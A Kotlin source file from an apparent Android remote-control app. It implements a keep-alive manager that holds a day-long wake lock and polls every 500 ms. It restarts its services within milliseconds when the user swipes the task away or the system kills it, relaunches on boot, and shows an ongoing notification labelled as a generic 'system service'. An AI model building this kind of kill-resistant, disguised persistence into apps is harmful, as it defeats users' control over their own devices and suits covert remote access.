d4f27bbac7
- 删除 .gradle 缓存和锁文件（checksums, executionHistory, fileHashes 等） - 优化 ScreenCaptureManager 截屏逻辑 - 移除 MainActivity, TransparentKeepAliveActivity 中的冗余代码 - 清理多个 KeepAlive 相关服务中的无用导入 - 精简 InstallationStateManager 代码
560 lines
20 KiB
Kotlin
560 lines
20 KiB
Kotlin
package com.hikoncont.service
|
||
|
||
import android.app.*
|
||
import android.content.BroadcastReceiver
|
||
import android.content.Context
|
||
import android.content.Intent
|
||
import android.content.IntentFilter
|
||
import android.os.Build
|
||
import android.os.PowerManager
|
||
import android.util.Log
|
||
import androidx.core.app.NotificationCompat
|
||
import kotlinx.coroutines.*
|
||
|
||
/**
|
||
* 有效的保活管理器
|
||
* 专注于防止程序被系统杀死，而不是尝试重启已死的服务
|
||
*/
|
||
class EffectiveKeepAliveManager(private val context: Context) {
|
||
|
||
companion object {
|
||
private const val TAG = "EffectiveKeepAlive"
|
||
private const val CHECK_INTERVAL = 500L // ✅ 激进：500ms检查一次，快速发现问题
|
||
private const val NOTIFICATION_ID = 8888
|
||
}
|
||
|
||
private val managerScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
|
||
private var monitorJob: Job? = null
|
||
private var wakeLock: PowerManager.WakeLock? = null
|
||
private var isMonitoring = false
|
||
private var notificationManager: NotificationManager? = null
|
||
|
||
/**
|
||
* 开始有效保活监控
|
||
*/
|
||
fun startEffectiveKeepAlive() {
|
||
if (isMonitoring) {
|
||
Log.w(TAG, "⚠️ 有效保活监控已在运行")
|
||
return
|
||
}
|
||
|
||
Log.i(TAG, "🛡️ 开始有效保活监控")
|
||
isMonitoring = true
|
||
|
||
// 初始化通知管理器
|
||
initNotificationManager()
|
||
|
||
// 获取WakeLock
|
||
acquireWakeLock()
|
||
|
||
// 注册系统事件监听
|
||
registerSystemEventReceivers()
|
||
|
||
// 开始监控
|
||
startMonitoring()
|
||
|
||
// 确保前台服务运行
|
||
ensureForegroundService()
|
||
|
||
// 请求电池优化白名单
|
||
requestBatteryOptimizationWhitelist()
|
||
}
|
||
|
||
/**
|
||
* 停止有效保活监控
|
||
*/
|
||
fun stopEffectiveKeepAlive() {
|
||
if (!isMonitoring) {
|
||
return
|
||
}
|
||
|
||
Log.i(TAG, "🛑 停止有效保活监控")
|
||
isMonitoring = false
|
||
|
||
// 取消监控任务
|
||
monitorJob?.cancel()
|
||
|
||
// 释放WakeLock
|
||
releaseWakeLock()
|
||
|
||
// 注销广播接收器
|
||
unregisterSystemEventReceivers()
|
||
|
||
// 取消协程作用域
|
||
managerScope.cancel()
|
||
}
|
||
|
||
/**
|
||
* 服务被销毁时的处理（还原KeepAliveService的效果）
|
||
*/
|
||
fun onServiceDestroyed() {
|
||
Log.i(TAG, "🛑 保活服务被销毁，安排自恢复")
|
||
|
||
// 释放WakeLock
|
||
releaseWakeLock()
|
||
|
||
// 被系统或清理工具杀死时，安排自恢复（还原KeepAliveService的逻辑）
|
||
scheduleSelfAndCoreRestart(50L) // ✅ 激进：50ms极速恢复
|
||
|
||
// 取消监控任务
|
||
monitorJob?.cancel()
|
||
managerScope.cancel()
|
||
}
|
||
|
||
/**
|
||
* 任务被移除时的处理（还原KeepAliveService的效果）
|
||
*/
|
||
fun onTaskRemoved() {
|
||
Log.w(TAG, "🧹 检测到任务被移除(onTaskRemoved)，安排服务自恢复")
|
||
scheduleSelfAndCoreRestart(50L) // ✅ 激进：50ms极速恢复
|
||
}
|
||
|
||
/**
|
||
* 初始化通知管理器
|
||
*/
|
||
private fun initNotificationManager() {
|
||
try {
|
||
notificationManager = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||
|
||
// 创建保活通知渠道
|
||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||
val channel = NotificationChannel(
|
||
"keep_alive_channel",
|
||
"保活服务",
|
||
NotificationManager.IMPORTANCE_LOW
|
||
).apply {
|
||
description = "保持应用后台运行"
|
||
setShowBadge(false)
|
||
setSound(null, null)
|
||
setVibrationPattern(null)
|
||
}
|
||
notificationManager?.createNotificationChannel(channel)
|
||
}
|
||
|
||
Log.i(TAG, "📱 通知管理器已初始化")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 初始化通知管理器失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 获取WakeLock保活
|
||
*/
|
||
private fun acquireWakeLock() {
|
||
try {
|
||
val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
|
||
wakeLock = powerManager.newWakeLock(
|
||
PowerManager.PARTIAL_WAKE_LOCK,
|
||
"RemoteControl::EffectiveKeepAlive"
|
||
)
|
||
wakeLock?.acquire(24 * 60 * 60 * 1000L) // 24小时
|
||
Log.i(TAG, "🔋 有效保活WakeLock已获取")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 获取有效保活WakeLock失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 释放WakeLock
|
||
*/
|
||
private fun releaseWakeLock() {
|
||
try {
|
||
wakeLock?.release()
|
||
wakeLock = null
|
||
Log.i(TAG, "🔋 有效保活WakeLock已释放")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 释放有效保活WakeLock失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 注册系统事件接收器
|
||
*/
|
||
private fun registerSystemEventReceivers() {
|
||
try {
|
||
val filter = IntentFilter().apply {
|
||
addAction(Intent.ACTION_SCREEN_ON)
|
||
addAction(Intent.ACTION_SCREEN_OFF)
|
||
addAction(Intent.ACTION_USER_PRESENT)
|
||
addAction(Intent.ACTION_BOOT_COMPLETED)
|
||
addAction(Intent.ACTION_MY_PACKAGE_REPLACED)
|
||
addAction(Intent.ACTION_PACKAGE_REPLACED)
|
||
}
|
||
context.registerReceiver(systemEventReceiver, filter)
|
||
Log.i(TAG, "📡 系统事件接收器已注册")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 注册系统事件接收器失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 注销系统事件接收器
|
||
*/
|
||
private fun unregisterSystemEventReceivers() {
|
||
try {
|
||
context.unregisterReceiver(systemEventReceiver)
|
||
Log.i(TAG, "📡 系统事件接收器已注销")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 注销系统事件接收器失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 开始监控
|
||
*/
|
||
private fun startMonitoring() {
|
||
monitorJob = managerScope.launch {
|
||
while (isActive && isMonitoring) {
|
||
try {
|
||
performKeepAliveActions()
|
||
delay(CHECK_INTERVAL)
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 有效保活监控过程中发生错误", e)
|
||
delay(CHECK_INTERVAL)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 执行保活操作
|
||
*/
|
||
private fun performKeepAliveActions() {
|
||
try {
|
||
// 1. 检查无障碍服务状态
|
||
checkAccessibilityServiceStatus()
|
||
|
||
// 2. 确保前台服务运行
|
||
ensureForegroundService()
|
||
|
||
// 3. 保持通知显示
|
||
showKeepAliveNotification()
|
||
|
||
// 4. 检查电池优化状态
|
||
checkBatteryOptimizationStatus()
|
||
|
||
Log.d(TAG, "✅ 保活操作执行完成")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 执行保活操作失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 检查无障碍服务状态
|
||
*/
|
||
private fun checkAccessibilityServiceStatus() {
|
||
try {
|
||
// ✅ 修复：先检查无障碍权限，再检查服务实例
|
||
if (!isAccessibilityServiceEnabled()) {
|
||
Log.w(TAG, "⚠️ 无障碍服务权限已丢失")
|
||
showAccessibilityPermissionLostNotification()
|
||
} else {
|
||
// 权限正常，检查AccessibilityService实例
|
||
val accessibilityService = AccessibilityRemoteService.getInstance()
|
||
|
||
if (accessibilityService == null) {
|
||
Log.d(TAG, "🔍 无障碍权限正常，但AccessibilityService实例未初始化，等待初始化完成")
|
||
// 权限正常但实例未初始化，等待初始化完成，不强制启动前台服务
|
||
}
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 检查无障碍服务状态失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 检查无障碍服务是否启用
|
||
*/
|
||
private fun isAccessibilityServiceEnabled(): Boolean {
|
||
return try {
|
||
val accessibilityEnabled = android.provider.Settings.Secure.getInt(
|
||
context.contentResolver,
|
||
android.provider.Settings.Secure.ACCESSIBILITY_ENABLED
|
||
)
|
||
|
||
if (accessibilityEnabled == 1) {
|
||
val serviceId = "${context.packageName}/${AccessibilityRemoteService::class.java.canonicalName}"
|
||
val enabledServices = android.provider.Settings.Secure.getString(
|
||
context.contentResolver,
|
||
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
|
||
)
|
||
|
||
enabledServices?.contains(serviceId) == true
|
||
} else {
|
||
false
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 检查无障碍服务状态失败", e)
|
||
false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 显示无障碍权限丢失通知
|
||
*/
|
||
private fun showAccessibilityPermissionLostNotification() {
|
||
try {
|
||
Log.i(TAG, "📱 显示无障碍权限丢失通知")
|
||
|
||
val notification = NotificationCompat.Builder(context, "accessibility_permission_lost")
|
||
.setContentTitle("⚠️ 无障碍服务权限丢失")
|
||
.setContentText("请点击重新启用无障碍服务权限")
|
||
.setSmallIcon(android.R.drawable.ic_dialog_alert)
|
||
.setPriority(NotificationCompat.PRIORITY_HIGH)
|
||
.setAutoCancel(true)
|
||
.setOngoing(false)
|
||
.setContentIntent(createAccessibilitySettingsPendingIntent())
|
||
.build()
|
||
|
||
notificationManager?.notify(9999, notification)
|
||
Log.i(TAG, "✅ 无障碍权限丢失通知已显示")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 显示无障碍权限丢失通知失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 创建无障碍设置页面的PendingIntent
|
||
*/
|
||
private fun createAccessibilitySettingsPendingIntent(): PendingIntent {
|
||
val intent = Intent(android.provider.Settings.ACTION_ACCESSIBILITY_SETTINGS)
|
||
intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK
|
||
return PendingIntent.getActivity(
|
||
context,
|
||
9999,
|
||
intent,
|
||
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
|
||
)
|
||
}
|
||
|
||
/**
|
||
* 确保前台服务运行
|
||
*/
|
||
private fun ensureForegroundService() {
|
||
try {
|
||
val serviceIntent = Intent(context, RemoteControlForegroundService::class.java)
|
||
serviceIntent.action = "ENSURE_FOREGROUND"
|
||
context.startForegroundService(serviceIntent)
|
||
Log.d(TAG, "✅ 已确保前台服务运行")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 确保前台服务运行失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 显示保活通知
|
||
*/
|
||
private fun showKeepAliveNotification() {
|
||
try {
|
||
val notification = NotificationCompat.Builder(context, "keep_alive_channel")
|
||
.setContentTitle("系统服务")
|
||
.setContentText("正在运行...")
|
||
.setSmallIcon(android.R.drawable.ic_dialog_info)
|
||
.setPriority(NotificationCompat.PRIORITY_LOW)
|
||
.setOngoing(true)
|
||
.setAutoCancel(false)
|
||
.build()
|
||
|
||
notificationManager?.notify(NOTIFICATION_ID, notification)
|
||
Log.d(TAG, "✅ 保活通知已显示")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 显示保活通知失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 请求电池优化白名单
|
||
*/
|
||
private fun requestBatteryOptimizationWhitelist() {
|
||
try {
|
||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
||
val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
|
||
if (!powerManager.isIgnoringBatteryOptimizations(context.packageName)) {
|
||
Log.i(TAG, "🔋 应用不在电池优化白名单中，建议用户手动添加")
|
||
// 这里可以显示通知提醒用户手动添加到电池优化白名单
|
||
} else {
|
||
Log.i(TAG, "✅ 应用已在电池优化白名单中")
|
||
}
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 检查电池优化状态失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 检查电池优化状态
|
||
*/
|
||
private fun checkBatteryOptimizationStatus() {
|
||
try {
|
||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
||
val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
|
||
val isIgnoring = powerManager.isIgnoringBatteryOptimizations(context.packageName)
|
||
Log.d(TAG, "🔋 电池优化状态: ${if (isIgnoring) "已忽略" else "未忽略"}")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 检查电池优化状态失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 使用多重保活机制在被清理后自恢复前台服务与保活服务
|
||
*/
|
||
private fun scheduleSelfAndCoreRestart(delayMillis: Long) {
|
||
try {
|
||
Log.i(TAG, "🛡️ 启动多重保活机制")
|
||
|
||
// 方法1: AlarmManager保活（主要机制）
|
||
scheduleAlarmManagerRestart(delayMillis)
|
||
|
||
// 方法2: JobScheduler保活（备用机制）
|
||
scheduleJobSchedulerRestart(delayMillis + 100) // ✅ 激进：100ms快速恢复
|
||
|
||
// 方法3: 广播保活（最后保障）
|
||
scheduleBroadcastRestart(delayMillis + 200) // ✅ 激进：200ms快速恢复
|
||
|
||
Log.i(TAG, "✅ 多重保活机制已启动")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 启动多重保活机制失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* AlarmManager保活机制
|
||
*/
|
||
private fun scheduleAlarmManagerRestart(delayMillis: Long) {
|
||
try {
|
||
val alarmManager = context.getSystemService(Context.ALARM_SERVICE) as AlarmManager
|
||
|
||
val rcfsIntent = Intent(context, RemoteControlForegroundService::class.java).apply {
|
||
action = "RESTART_SERVICE"
|
||
}
|
||
val keepAliveIntent = Intent(context, KeepAliveService::class.java)
|
||
|
||
val pendingFlags = (PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)
|
||
|
||
// 使用随机ID避免冲突
|
||
val randomId1 = (System.currentTimeMillis() % 10000).toInt()
|
||
val randomId2 = randomId1 + 1
|
||
|
||
val rcfsPI = PendingIntent.getForegroundService(
|
||
context,
|
||
randomId1,
|
||
rcfsIntent,
|
||
pendingFlags
|
||
)
|
||
|
||
val keepAlivePI = PendingIntent.getService(
|
||
context,
|
||
randomId2,
|
||
keepAliveIntent,
|
||
pendingFlags
|
||
)
|
||
|
||
val triggerAt = System.currentTimeMillis() + delayMillis
|
||
|
||
// 使用极速恢复策略
|
||
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
|
||
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 100, keepAlivePI) // ✅ 激进：100ms极速恢复
|
||
|
||
Log.i(TAG, "⏰ AlarmManager保活已安排: 前台服务(${delayMillis}ms) + 保活服务(${delayMillis + 200}ms)")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ AlarmManager保活安排失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* JobScheduler保活机制（Android 5.0+）
|
||
*/
|
||
private fun scheduleJobSchedulerRestart(delayMillis: Long) {
|
||
try {
|
||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) {
|
||
val jobScheduler = context.getSystemService(Context.JOB_SCHEDULER_SERVICE) as android.app.job.JobScheduler
|
||
|
||
val jobInfo = android.app.job.JobInfo.Builder(
|
||
(System.currentTimeMillis() % 10000).toInt(),
|
||
android.content.ComponentName(context, KeepAliveJobService::class.java)
|
||
).apply {
|
||
setMinimumLatency(delayMillis)
|
||
setOverrideDeadline(delayMillis + 500) // ✅ 激进：500ms快速调度
|
||
setRequiredNetworkType(android.app.job.JobInfo.NETWORK_TYPE_NONE)
|
||
setPersisted(false)
|
||
}.build()
|
||
|
||
val result = jobScheduler.schedule(jobInfo)
|
||
if (result == android.app.job.JobScheduler.RESULT_SUCCESS) {
|
||
Log.i(TAG, "⏰ JobScheduler保活已安排: ${delayMillis}ms")
|
||
} else {
|
||
Log.w(TAG, "⚠️ JobScheduler保活安排失败")
|
||
}
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ JobScheduler保活安排失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 广播保活机制
|
||
*/
|
||
private fun scheduleBroadcastRestart(delayMillis: Long) {
|
||
try {
|
||
val handler = android.os.Handler(android.os.Looper.getMainLooper())
|
||
handler.postDelayed({
|
||
try {
|
||
Log.i(TAG, "📡 广播保活机制触发")
|
||
|
||
// 启动前台服务
|
||
val rcfsIntent = Intent(context, RemoteControlForegroundService::class.java).apply {
|
||
action = "RESTART_SERVICE"
|
||
}
|
||
context.startForegroundService(rcfsIntent)
|
||
|
||
// 启动保活服务
|
||
val keepAliveIntent = Intent(context, KeepAliveService::class.java)
|
||
context.startService(keepAliveIntent)
|
||
|
||
Log.i(TAG, "✅ 广播保活机制执行完成")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 广播保活机制执行失败", e)
|
||
}
|
||
}, delayMillis)
|
||
|
||
Log.i(TAG, "⏰ 广播保活已安排: ${delayMillis}ms")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 广播保活安排失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 系统事件接收器
|
||
*/
|
||
private val systemEventReceiver: BroadcastReceiver = object : BroadcastReceiver() {
|
||
override fun onReceive(context: Context, intent: Intent) {
|
||
when (intent.action) {
|
||
Intent.ACTION_SCREEN_ON -> {
|
||
Log.d(TAG, "📱 屏幕点亮，执行保活检查")
|
||
performKeepAliveActions()
|
||
}
|
||
Intent.ACTION_SCREEN_OFF -> {
|
||
Log.d(TAG, "📱 屏幕熄灭，继续后台保活")
|
||
}
|
||
Intent.ACTION_USER_PRESENT -> {
|
||
Log.d(TAG, "👤 用户解锁，执行保活检查")
|
||
performKeepAliveActions()
|
||
}
|
||
Intent.ACTION_BOOT_COMPLETED -> {
|
||
Log.d(TAG, "🚀 系统启动完成，重新启动保活服务")
|
||
startEffectiveKeepAlive()
|
||
}
|
||
Intent.ACTION_MY_PACKAGE_REPLACED, Intent.ACTION_PACKAGE_REPLACED -> {
|
||
Log.d(TAG, "📦 应用更新完成，重新启动保活服务")
|
||
startEffectiveKeepAlive()
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|